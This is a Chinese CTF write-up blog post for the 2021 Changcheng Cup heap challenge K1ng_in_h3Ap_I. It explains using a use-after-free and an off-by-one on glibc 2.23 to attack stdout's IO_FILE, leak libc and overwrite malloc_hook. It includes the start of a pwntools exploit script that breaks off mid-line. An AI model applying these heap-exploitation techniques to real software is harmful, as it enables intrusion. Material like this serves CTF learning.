2021 长城杯 pwn K1ng_in_h3Ap_I

本文通过两个具体的实例展示了如何利用UAF(Use After Free)漏洞进行攻击,包括利用off-by-one漏洞构造攻击以及仅使用UAF漏洞攻击IO_FILE的chunk。文章详细介绍了利用这些漏洞泄露libc基址并控制malloc_hook的过程。

在这里插入图片描述libc是2.23

菜单
在这里插入图片描述

add
在这里插入图片描述

free
在这里插入图片描述显然是有uaf。

edit
在这里插入图片描述就是输入

输入函数其实还有off by one。

有个后门
在这里插入图片描述

我们的思路就是简单的说因为有uaf但是没有show,所以我们就直接攻击stdout,但是又因为后门给了我们地址,所以就解决了爆破这个问题。然后就攻击IO_FILE泄露libc,再攻击malloc_hook就好啦。

第一个exp是利用off by one来构造的。
exp

from pwn import *

r = process("./pwn1")

context.arch='amd64'

elf=ELF("./pwn1")
libc=ELF("./libc.so.6")

def add(index,size):
    r.sendlineafter(">> \n",'1')
    r.sendlineafter("input index:\n",str(index))
    r.sendlineafter("input size:\n",str(size))
def free(index):
    r.sendlineafter(">> \n",'2')
    r.sendlineafter("input index:\n",str(index))
def edit(index,context):
    r.sendlineafter(">> \n",'3')
    r.sendlineafter("input index:\n",str(index))
    r.sendlineafter("input context:\n",context)
def gift():
    r.sendlineafter(">> \n",'666')
    
gift()
stdout = int(r.recv(<
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值